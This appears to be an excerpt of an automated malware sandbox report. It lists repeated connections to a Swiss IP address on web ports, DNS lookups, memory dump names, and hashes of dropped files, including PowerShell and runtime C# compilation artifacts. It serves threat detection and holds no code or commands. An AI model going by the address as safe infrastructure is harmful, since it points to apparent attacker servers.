US 8.8.8.8:53 47.28.109.52.in-addr.arpa udp
CH 194.182.164.149:8080 194.182.164.149 tcp
US 8.8.8.8:53 149.164.182.194.in-addr.arpa udp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
CH 194.182.164.149:443 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 27.73.42.20.in-addr.arpa udp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
US 8.8.8.8:53 68.209.201.84.in-addr.arpa udp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp
CH 194.182.164.149:80 194.182.164.149 tcp

Files

memory/5048-1-0x00007FFA429ED000-0x00007FFA429EE000-memory.dmp

memory/5048-0-0x00007FFA029D0000-0x00007FFA029E0000-memory.dmp

memory/5048-2-0x00007FFA029D0000-0x00007FFA029E0000-memory.dmp

memory/5048-4-0x00007FFA029D0000-0x00007FFA029E0000-memory.dmp

memory/5048-3-0x00007FFA029D0000-0x00007FFA029E0000-memory.dmp

memory/5048-6-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-5-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-7-0x00007FFA029D0000-0x00007FFA029E0000-memory.dmp

memory/5048-10-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-8-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-9-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-11-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-12-0x00007FFA00170000-0x00007FFA00180000-memory.dmp

memory/5048-13-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-14-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-15-0x00007FFA00170000-0x00007FFA00180000-memory.dmp

memory/5048-17-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-16-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-18-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-24-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/5048-28-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/4448-39-0x0000014BC6230000-0x0000014BC6252000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_knwt00em.c3v.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

\??\c:\Users\Admin\AppData\Local\Temp\4emgp0xc\4emgp0xc.cmdline

MD5 949464cfea40b0acf37b8184d48f8611
SHA1 959880fd712c989e1702968b63cf0b2d9fe9493d
SHA256 fe7c621f1d52d34eaa36a42178a9c8772e1f4c035d883dcd6ae8afe060e1dbd9
SHA512 daa609f2229af6512aeb697f8078831f606b9dd32a51e1cab9c1adc785d59687c52671235df5d67084738722c8d767ca00d1a8009519e18e3eca9ea04abf961d

\??\c:\Users\Admin\AppData\Local\Temp\4emgp0xc\4emgp0xc.0.cs

MD5 f4dd5c682eb7b3b679f084261bfc7c4c
SHA1 70f75d7a4e42c185eb09139ed3c6f7338a2219c2
SHA256 2908bfece2edd241dc4f7cc26608c3254f7e5b896a38114618d56b65d4fc4319
SHA512 8f91148a6bd15f8182ef00b3e75b008eacda414852e8169112013377e4b9b88e1a0be73c8e0c212b8c0a51c24fbb2849c44d742f6019c9c5bf0dfb0e28a1b83d

\??\c:\Users\Admin\AppData\Local\Temp\4emgp0xc\CSC7F2A56726914495AAF805BBBE23A9249.TMP

MD5 2f0f08b7a9b06e9081fa7e49a6546d9d
SHA1 eb44d4934e405829985f0b47ef035c65640480b8
SHA256 4ba3ab56e84ae2f2d760dc1d677262ca01d98cc268709f2725d78ef20a05003b
SHA512 2eec05817cdb63404662aae5d1958f0f5aa78145547ee6e03430e36e3d64705b6298f49b4a43c9bfeac130b3e3d60d3cc7a041af1a3b7feb26486f534ec1626a

C:\Users\Admin\AppData\Local\Temp\RESB6EC.tmp

MD5 2309076648398dd0551356acdb46876a
SHA1 8f6001d57cb18818b30cd8a14602351eb6086a13
SHA256 1f26a9274a57b311bd67138ab4e7ca52074cf2046096daa8196350b479a9226d
SHA512 b9c1d16589787f067fc0974c4010ad16446414bd004616c9e5b684fd8dcfb854497dddeb36bea6a32ff97eb55c1f1559826ed8bd9789e4605e3d89469182f75e

C:\Users\Admin\AppData\Local\Temp\4emgp0xc\4emgp0xc.dll

MD5 ab0f7e01cc8a2e72677da729a55d7de1
SHA1 5d42ff7ae15bf49111d9f3054494a2c21dec6fcf
SHA256 28e846521ed4952f59d52c0dcac9bd49b6d25a2e3a24629886f0f85b875631ad
SHA512 dcd277310d14514c2b23eb708410d2dc86103ad6c8608f60a93055d80884f3b6b2ee9fcda453c3cb175cb4d1a19e304b7dcc59d09837e11d5cbed3e4bee85664

memory/4448-56-0x0000014BC6220000-0x0000014BC6228000-memory.dmp

memory/5048-60-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/4448-61-0x0000014BC6B50000-0x0000014BC75CE000-memory.dmp

memory/4448-64-0x0000014BC8050000-0x0000014BC8B36000-memory.dmp

memory/4448-65-0x0000014BC8050000-0x0000014BC8B36000-memory.dmp

memory/4448-63-0x0000014BC8050000-0x0000014BC8B36000-memory.dmp

memory/4448-62-0x0000014BC8050000-0x0000014BC8B36000-memory.dmp

memory/5048-66-0x00007FFA429ED000-0x00007FFA429EE000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 18106b380465a9d89db9fc44e189ad7f
SHA1 1084fbfd4533361ffc31f084011745ab0d72c633
SHA256 2e5376209f882b6b8ceea918ea5788a090504b2381da00b7cf1f10982df7f7a7
SHA512 7488b53c5df8f9d2107d45ca4a6ca176c5dffb900722d9dd52ec9e4e488799e0edc4956b8fe169d22e3eebdfb687df33240946c9134cfe10521f0eafd4871cb6

memory/5048-75-0x00007FFA42950000-0x00007FFA42B45000-memory.dmp

memory/4448-77-0x0000014BC8050000-0x0000014BC8B36000-memory.dmp